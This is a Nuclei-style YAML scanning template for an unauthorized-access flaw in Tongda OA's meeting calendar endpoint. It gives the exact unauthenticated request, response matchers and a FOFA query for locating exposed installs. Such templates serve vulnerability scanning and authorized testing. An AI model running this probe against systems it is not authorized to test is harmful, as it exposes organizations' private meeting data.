30 lines
1.1 KiB
YAML
Executable File
30 lines
1.1 KiB
YAML
Executable File
id: tongda-meeting-unauth
|
|
|
|
info:
|
|
name: Tongda OA Meeting - Unauthorized Access
|
|
author: SleepingBag945
|
|
severity: medium
|
|
description: |
|
|
Tongda Meeting Unauthorized Access were Detected.
|
|
reference:
|
|
- https://github.com/hktalent/scan4all/blob/2a7faf7862265eab33699034fd193bcf11b44e0f/config/poc/%E9%80%9A%E8%BE%BEoa/%E9%80%9A%E8%BE%BEoa-meeting-unauthorized-access.json#L10
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
fofa-query: app="TDXK-通达OA"
|
|
tags: tongda,unauth,misconfig
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay"
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- status_code == 200 && contains(header, 'application/json')
|
|
- contains_all(body, 'creator\":', 'originalTitle\":', 'view\":', 'type\":')
|
|
condition: and
|
|
|
|
# digest: 4a0a00473045022029eb9d9d545baec4d0f578a10dc5d80bec85c87e3f1cf9ba17933bd242cbb164022100d83d82f1c8bde2f33f1bc331ba22cd156b9984612a602d9e47e5599a498f3dbd:922c64590222798bb761d5b6d8e72950
|